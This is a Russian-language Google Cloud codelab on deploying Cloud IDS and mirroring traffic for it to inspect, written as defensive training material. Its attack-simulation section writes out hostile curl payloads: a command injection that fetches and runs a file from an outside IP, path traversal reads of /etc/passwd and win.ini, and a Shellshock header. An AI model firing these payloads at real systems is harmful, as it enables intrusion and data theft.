1. Введение
В этой лабораторной работе вы развернете Cloud IDS — сервис обнаружения вторжений нового поколения, обеспечивающий выявление угроз, таких как вторжения, вредоносное ПО, шпионские программы и атаки с целью получения управления и контроля. Вы смоделируете несколько атак и просмотрите подробную информацию об угрозах в облачной консоли.
Что вы узнаете
- Как создать конечную точку Cloud IDS
- Как создать 2 виртуальные машины с помощью команд gcloud
- Как создать политику зеркалирования пакетов
- Как имитировать трафик атаки из виртуальной машины
- Как просмотреть подробную информацию об угрозах в Cloud Console и Cloud Logging.
Что вам понадобится
- Знание основных команд Linux.
2. Варианты использования облачных систем обнаружения вторжений (Cloud IDS).
Cloud IDS предоставляет клиентам встроенную в Google Cloud службу обнаружения вторжений нового поколения (IDS), позволяющую удовлетворять их требованиям к обнаружению угроз и соответствию стандартам, таким как PCI 11.4. Сервис работает на основе технологий защиты от угроз Palo Alto Networks, обеспечивая расширенное обнаружение вторжений. Сочетание инфраструктуры мирового класса Google Cloud с безопасностью мирового класса от Palo Alto Networks предоставляет клиентам непревзойденное сочетание полностью управляемого, высокопроизводительного и максимально эффективного сервиса обнаружения угроз.
По мере перехода клиентов в облако безопасность становится для них приоритетом. Они хотят иметь в облаке аналогичные средства защиты, что и в локальной среде, например, службу обнаружения вторжений (IDS). Они отдают предпочтение облачному управляемому решению IDS из-за простоты развертывания, высокой производительности и оптимизированных затрат по сравнению с развертыванием стороннего решения безопасности и управлением инфраструктурой или использованием собственных сигнатур. Google Cloud IDS предоставляет комплексную и автоматически масштабируемую управляемую службу IDS, позволяя клиентам тратить время на анализ и смягчение угроз, освобождая их время и ресурсы для управления инфраструктурой или сигнатурами угроз.
Система обнаружения вторжений в облаке развертывается внеполосно и может обнаруживать угрозы и оповещать о них, но не может блокировать угрозы. Она использует технологию Google Cloud Packet Mirroring для создания копии сетевого трафика, которая анализируется с помощью механизма обнаружения угроз Palo Alto Network.
3. Топология Codelab

Рисунок 1. Общий архитектурный обзор развертывания облачной системы обнаружения вторжений (Cloud IDS) для данной лабораторной работы.
4. Настройка и требования
Настройка среды для самостоятельного обучения
- Войдите в консоль Google Cloud и создайте новый проект или используйте существующий. Если у вас еще нет учетной записи Gmail или Google Workspace, вам необходимо ее создать .



- Название проекта — это отображаемое имя участников данного проекта. Это строка символов, не используемая API Google, и вы можете изменить её в любое время.
- Идентификатор проекта должен быть уникальным для всех проектов Google Cloud и неизменяемым (его нельзя изменить после установки). Консоль Cloud автоматически генерирует уникальную строку; обычно вам неважно, какая она. В большинстве практических заданий вам потребуется указать идентификатор проекта (обычно он обозначается как
PROJECT_ID), поэтому, если он вам не нравится, сгенерируйте другой случайный идентификатор или попробуйте свой собственный и посмотрите, доступен ли он. Затем он "замораживается" после создания проекта. - Существует третье значение — номер проекта , который используется некоторыми API. Подробнее обо всех трех значениях можно узнать в документации .
- Далее вам потребуется включить оплату в консоли Cloud, чтобы использовать ресурсы/API Cloud. Выполнение этого практического задания не должно стоить дорого, если вообще что-либо. Чтобы отключить ресурсы и избежать дополнительных расходов после завершения этого урока, следуйте инструкциям по «очистке», приведенным в конце практического задания. Новые пользователи Google Cloud имеют право на бесплатную пробную версию стоимостью 300 долларов США .
Запустить Cloud Shell
Хотя Google Cloud можно управлять удаленно с ноутбука, в этом практическом занятии вы будете использовать Google Cloud Shell — среду командной строки, работающую в облаке.
В консоли GCP щелкните значок Cloud Shell на панели инструментов в правом верхнем углу:

Подготовка и подключение к среде займут всего несколько минут. После завершения вы должны увидеть что-то подобное:

Эта виртуальная машина оснащена всеми необходимыми инструментами разработки. Она предоставляет постоянный домашний каталог размером 5 ГБ и работает в облаке Google, что значительно повышает производительность сети и аутентификацию. Всю работу в этой лаборатории можно выполнять с помощью обычного браузера.
5. Прежде чем начать
Включить API
Внутри Cloud Shell убедитесь, что идентификатор вашего проекта указан правильно.
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Включите все необходимые службы
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Создайте сеть VPC.
Сеть VPC
Из Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Подсеть
Из Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Доступ к частным услугам
Из Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Связь с частной службой
Из Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Правила брандмауэра
Чтобы разрешить IAP подключаться к вашим виртуальным машинам, создайте правило брандмауэра, которое:
- Применяется ко всем экземплярам виртуальных машин, к которым вы хотите обеспечить доступ с помощью IAP.
- Разрешает входящий трафик из диапазона IP-адресов 35.235.240.0/20. Этот диапазон содержит все IP-адреса, которые IAP использует для пересылки TCP-трафика.
Из Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Чтобы разрешить доступ к серверу через стандартный HTTP-порт (TCP 80) и протокол ICMP:
- Применяется к ресурсам с сетевым тегом "сервер".
- Обеспечивает доступ из всех источников.
Из Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Создать экземпляр Cloud NAT
Облачный маршрутизатор
Из Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Облачный NAT
Из Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Создайте конечную точку Cloud IDS.
В этом разделе вы создадите конечную точку Cloud IDS в регионе us-east1 с уровнем серьезности «информационный». Создание конечной точки IDS займет приблизительно 20 минут.
Конечная точка системы обнаружения вторжений (IDS)
Из Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Убедитесь, что конечная точка Cloud IDS запущена.
gcloud ids endpoints list --project=$PROJECT_ID
Выход -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Создайте 2 виртуальные машины.
В этом разделе вы создадите 2 виртуальные машины. Первая будет вашим веб-сервером, который будет зеркалировать трафик в Cloud IDS. Вторая виртуальная машина будет источником трафика атак.
Виртуальная машина 1 (сервер)
Из Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Виртуальная машина 2 (клиент)
Из Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Подготовка сервера
В этом задании вам предстоит проверить работоспособность вашего сервера и предоставить вашему клиенту безвредную вредоносную программу.
Подключайтесь к виртуальной машине по SSH через Cloud Shell.
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Подтвердите, что веб-сервис запущен.
sudo systemctl status nginx
Результат - проверка активности и работы
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Перейдите в каталог веб-сервиса.
cd /var/www/html/
Создайте на веб-сервере безобидный вредоносный файл.
sudo touch eicar.file
Вставьте содержимое.
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Вернуться в CloudShell
exit
Создайте политику зеркалирования пакетов Cloud IDS.
Найдите правило пересылки конечной точки IDS и убедитесь, что состояние конечной точки IDS — «ГОТОВО».
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Пример выходных данных — скопируйте значение из "endpointForwardingRule".
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Сохраните правило переадресации конечной точки IDS в переменную.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Политика зеркалирования пакетов
Из Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Убедитесь, что политика зеркалирования пакетов создана.
Из Cloud Shell
gcloud compute packet-mirrorings list
Выход
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Имитация трафика атаки
Подключитесь по SSH к виртуальной машине злоумышленника (клиенту).
Из Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Выполните следующие curl-запросы, чтобы имитировать вредоносный трафик.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Выйдите из виртуальной машины, чтобы вернуться в CloudShell.
exit
11. Анализ угроз, обнаруженных системой обнаружения вторжений Cloud IDS.
Перейдите на панель управления Cloud IDS.
Меню навигации > Сетевая безопасность > Облачная система обнаружения вторжений

Перейдите на вкладку «Угрозы».

Как видите, система Cloud IDS зафиксировала различные профили трафика атак и предоставила подробную информацию о каждой угрозе. Возможно, вам потребуется нажать кнопку «Обновить», если вы не видите никаких угроз. Теперь мы углубимся в детали и рассмотрим подробную информацию об угрозах.
Найдите угрозу "Уязвимость удаленного выполнения кода в Bash", щелкните по трем точкам справа и выберите "Просмотреть подробности угрозы".


Теперь мы рассмотрим подробности этого инцидента в Cloud Logging. Вернитесь на страницу «Угрозы», нажав на стрелку, указывающую влево.
Нажмите на три точки справа и выберите «Просмотреть журналы угроз».


Аналогичные данные предоставляются и для облачного логирования. Это позволяет отправлять журналы в Cloud Storage, Chronicle или любую SIEM/SOAR-систему. Вы также можете создавать пользовательские рабочие процессы для выполнения действий по устранению проблем на основе оповещений, например, создать облачную функцию, которая срабатывает при оповещении и создает/обновляет правило брандмауэра для блокировки IP-адреса, или создать/обновить политику Cloud Armor.
12. Этапы очистки
Выход из виртуальной машины (все вкладки)
exit
Из одного терминала Cloud Shell удалите компоненты лаборатории.
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Поздравляем!
Поздравляем с завершением практического занятия!
Что мы рассмотрели
- Примеры использования облачных систем обнаружения вторжений
- Требования к сети
- Поддерживаемые API
- Создана конечная точка Cloud IDS.
- Развернуто 2 виртуальные машины.
- Сгенерировал некоторый "атакующий" трафик от клиента.
- Подтвержденные угрозы были обнаружены системой обнаружения вторжений (IDS).
- Проанализируйте подробную информацию об угрозах и журналы событий.